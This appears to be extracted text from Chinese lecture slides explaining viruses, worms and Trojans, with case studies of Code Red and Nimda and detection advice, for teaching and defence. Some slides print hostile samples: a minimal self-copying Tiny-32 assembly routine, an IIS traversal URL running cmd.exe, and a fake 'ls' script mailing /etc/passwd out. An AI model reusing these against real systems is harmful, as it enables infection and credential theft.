计算机病毒、蠕虫和特洛伊木马提纲•计算机病毒•网络蠕虫•特洛伊木马计算机病毒•病毒结构模型•病毒的分类•引导型病毒•文件型病毒•宏病毒•病毒举例•病毒防范计算机病毒的结构传染条件判断传染代码表现及破坏条件判断破坏代码传染模块表现模块计算机病毒的分类•按攻击平台分类:DOS,Win32,MAC,Unix•按危害分类:良性、恶性•按代码形式:源码、中间代码、目标码•按宿主分类:–引导型•主引导区•操作系统引导区–文件型•操作系统•应用程序•宏病毒引导型病毒—引导记录•主引导记录(MBR)55AA主引导程序(446字节)分区1(16字节)主分区表(64字节)分区2(16字节)分区3(16字节)分区4(16字节)结束标记(2字节)引导代码及出错信息A引导型病毒——系统引导过程PowerOnCPU&ROMBIOSInitializesPOSTTestsLookforbootdeviceMBRbootPartitionTableLoadDOSBootSectorRunsLoadsIO.SYSMSDOS.SYSDOSLoaded引导型病毒—感染与执行过程系统引导区引导正常执行病毒。。。。。病毒。。。病毒的激活过程空闲区。内存空间int8int21int2Fint4A时钟中断处理DOS中断处理外设处理中断实时时种警报中断空闲区带病毒程序空闲区空闲区正常程序病毒int8int8。int8。int8int8int8int8int8int8int8int8int8int8。int8int8空闲区正常程序正常程序。正常程序正常程序int8是26日?int8……举例—小球病毒(BouncingBall)•在磁盘上的存储位置文件分配表病毒的第二部分……000号扇区001号扇区第一个空簇FF7正常的引导扇区正常的引导扇区病毒的第一部分感染后的系统启动过程启动将病毒程序的第一部分送入内存高端将第二部分装入内存,与第一部分拼接在一起读入真正的Boot区代码,送到0000:TC00处修改INT13中断向量,指向病毒转移到0000:TC00处,开始真正的系统引导触发条件--修改后的INT13进入INT13中断是否为读盘?执行正常的INT13程序执行正常的INT13程序N所读盘是否是自身?Y修改INT8开始发作Y是否整点或半点Y执行正常的INT13程序Y是否带病毒?N调用传染过程感染磁盘N不发作执行正常的INT13程序N病毒检测原理•特征匹配–例如,在香港病毒:1F58EA1AAF00F09C:POPAXJMPF000∶AF1APUSHF•行为监控–对中断向量表的修改–对引导记录的修改–对.exe,.com文件的写操作–驻留内存•软件模拟防范与检测•数据备份•不要用移动介质启动(设置CMOS选项)•设置CMOS的引导记录保护选项•安装补丁,并及时更新•安装防病毒软件,及时更新病毒定义码•限制文件共享•不轻易打开电子邮件的附件•没有病毒处理前不要使用其他移动介质•不要运行不可信的程序•移动介质写保护文件型病毒—文件结构•.COM文件.EXE文件PSPHeader(256bytes)Code,Data,StackSegment(s)(64KBytes)代码、数据、堆栈在通一段中在内存中的.COM是磁盘文件的镜像PSPHeader(512bytes)CodeSegment(s)(64K)DataSegment(s)(64K)StackSegment(s)(64K)其他可执行的文件类型•.BAT•.PIF•.SYS•.DRV•.OVR•.OVL•.DLL•.VxD正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序正常程序病毒程序头病毒程序头病毒程序头病毒程序头病毒程序头病毒程序头病毒程序头病毒程序头病毒程序头病毒程序头病毒程序头病毒程序头程序头病毒程序程序头病毒程序程序头病毒程序程序头病毒程序程序头病毒程序程序头病毒程序病毒程序病毒程序病毒程序正常程序文件型病毒感染机理文件型病毒举例•最简单的病毒Tiny-32(32bytes)–寻找宿主文件–打开文件–把自己写入文件–关闭文件MOVAH,4E;setuptofindafileINT21;findthehostfileMOVAX,3D02;setuptoopenthehostfileINT21;openhostfileMOVAH,40;setuptowritefiletodiskINT21;writetofileDB*.COM;whatfilestolookfor宏病毒(MacroVirus)•历史:–1980年,Dr.FredrickCohenandRalfBurger论文–1994年,MicrosoftWord第一例宏病毒–Word,Excel,Access,PowerPoint,Project,LotusAmiPro,Visio,Lotus1-2-3,AutoCAD,CorelDraw.–使用数据文件进行传播,使得反病毒软件不再只关注可执行文件和引导区–DOEViRT统计,85%的病毒感染归因于宏病毒–易于编写,只需要一两天的时间,10-15行代码–大量的用户:90MillionMSOfficeUsers–人们通常不交换程序,而交换数据宏病毒工作机理有毒文件.docNormal.dot激活autoopen宏写入无毒文件.docNormal.dot启动激活病毒注意事项•Macro可以存在模板里,也可以存在文档里•RTF文件也可以包含宏病毒•通过IE浏览器可以直接打开,而不提示下载提纲•计算机病毒•网络蠕虫•特洛伊木马蠕虫(Worm)•一个独立的计算机程序,不需要宿主•自我复制,自主传播(Mobile)•占用系统或网络资源、破坏其他程序•不伪装成其他程序,靠自主传播–利用系统漏洞;–利用电子邮件(无需用户参与)莫里斯蠕虫事件•发生于1988年,当时导致大约6000台机器瘫痪•主要的攻击方法–Rsh,rexec:用户的缺省认证–Sendmail的debug模式–Fingerd的缓冲区溢出–口令猜测CRI•主要影响WindowsNT系统和Windows2000–主要影响国外网络–据CERT统计,至8月初已经感染超过25万台•主要行为–利用IIS的Index服务的缓冲区溢出缺陷进入系统–检查c:\notworm文件是否存在以判断是否感染–中文保护(是中文windows就不修改主页)–攻击白宫!CRII•InspiredbyRCI–影响波及全球–国内影响尤其广泛•主要行为–所利用缺陷相同–只感染windows2000系统,由于一些参数的问题,只会导致NT死机–休眠与扫描:中文windows,600个线程Nimda简介•影响系统:MSwin9x,wind2k,winXP•传播途径:–Email、文件共享、页面浏览、–MSIIS目录遍历、CodeRed后门•影响–群发电子邮件,付病毒–扫描共享文件夹,–扫描有漏洞的IIS,–扫描有CodeRed后门的IISServer红色代码病毒•红色代码病毒是一种结合了病毒、木马、DDOS机制的蠕虫。–2001年7月中旬,在美国等地大规模蔓延。–2001年8月初,出现变种coderedII,针对中文版windows系统,国内大规模蔓延。–通过80端口传播。–只存在与网络服务器的内存,不通过文件载体。–利用IIS缓冲区溢出漏洞(2001年6月18日发布)CodeRedI在侵入一台服务器后,其运行步骤是:1.设置运行环境,修改堆栈指针,设置堆栈大小为218h字节。接着使用RVA(相对虚拟地址)查找GetProcAddress的函数地址,然后就获得其他socket、connect、send、recv、closesocket等函数地址;2.如果C:\notworm在,不再进一步传染;3.传染其他主机。创造100个线程,其中99个用户感染其他WEB服务器,被攻击IP通过一个算法计算得出;4.篡改主页,如果系统默认语言为“美国英语”,第100个进程就将这台服务的主页改成“Welcometo!,HackedByChinese!”,并持续10个小时。(这个修改直接在内存中修改,而不是修改*.htm文件);5.如果时间在20:00UTC和23:59UTC之间,将反复和白宫主页建立连接,并发送98k字节数据,形成DDOS攻击。CodeRedII增加了特洛依木马的功能,并针对中国网站做了改进1.计算IP的方法进行了修改,使病毒传染的更快;2.检查是否存在CodeRedII原子,若存在则进入睡眠状态防止反复感染,若不存在则创建CodeRedII原子;3.创建300个线程进行传染,若系统默认语言为简体中文或繁体中文,则创建600个线程;4.检查时间。病毒作者的意图是传播过程在2001年10月1日完成,之后,蠕虫会爆发而使系统不断重新启动。5.在系统中安装一个特洛依木马:①拷贝系统目录cmd.exe到IIS的脚本执行目录下,改名为root.exe;②将病毒体内的木马解压缩写到C盘和D盘的explorer.exe③木马每次系统和启动都会运行,禁止系统的文件保护功能,并将C盘和D盘通过web服务器共享CodeRedII•攻击形式://x.x.x.x/c/winnt/system32/cmd.exe?/c+dir其中x.x.x.x是被攻击的IP地址,dir可以是任意命令,比如删除系统中的文件,向外发送机密数据等,这个后门后来也成为了nimda病毒的一个传播模式。下面是cert/cc上提供的被攻击服务器日志(CA-2001-11)2001-05-0612:20:1910.10.10.10-10.20.20.2080GET/scripts/../../winnt/system32/cmd.exe/c+dir200–2001-05-0612:20:1910.10.10.10-10.20.20.2080GET/scripts/../../winnt/system32/cmd.exe/c+dir+..\200–红色代码病毒的检测和防范•针对安装IIS的windows系统;•是否出现负载显著增加(CPU/网络)的现象;•用netstat–an检查是否有许多对外的80端口连接•在web日志中检查是否有/default.ida?xxx..%u0078%u0000%u00=aHTTP/1.0这样的攻击记录;•查找系统中是否存在文件c:\explorer.exe或d:\explorer.exe以及root.exe;•检查注册表文件中是否增加了C和D虚拟目录,以及文件保护功能是否被禁止。•在任务管理器中检查是否存在两个explorer.exe进程。提纲•计算机病毒•网络蠕虫•特洛伊木马特洛伊木马•名字来源:古希腊故事•通过伪装成其他程序、有意隐藏自己恶意行为的程序,通常留下一个远程控制的后门•没有自我复制的功能•非自主传播–用户主动发送给其他人–放到网站上由用户下载最简单的木马举例ls#!/bin/sh/bin/mailmyaddress@test.com/etc/passwdlsPATH=./:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin特洛依木马举例•BackOrifice–CultoftheDeadCow在1998年8月发布,公开源码软件,遵守GPL,是功能强大的远程控制器木马。–boserver.exe、boconfig.exe、bogui.exe•在BO服务器上启动、停止基于文本的应用程序•目录和文件操作。包括创建、删除、查看目录、查找、解压、压缩。•共享。创建共享资源•HTTP服务。启动或停止HTTP服务。•击键记录。将BO服务器上用户的击键记录在一个文本文件中,同时记录执行输入的窗口名。(可以获得用户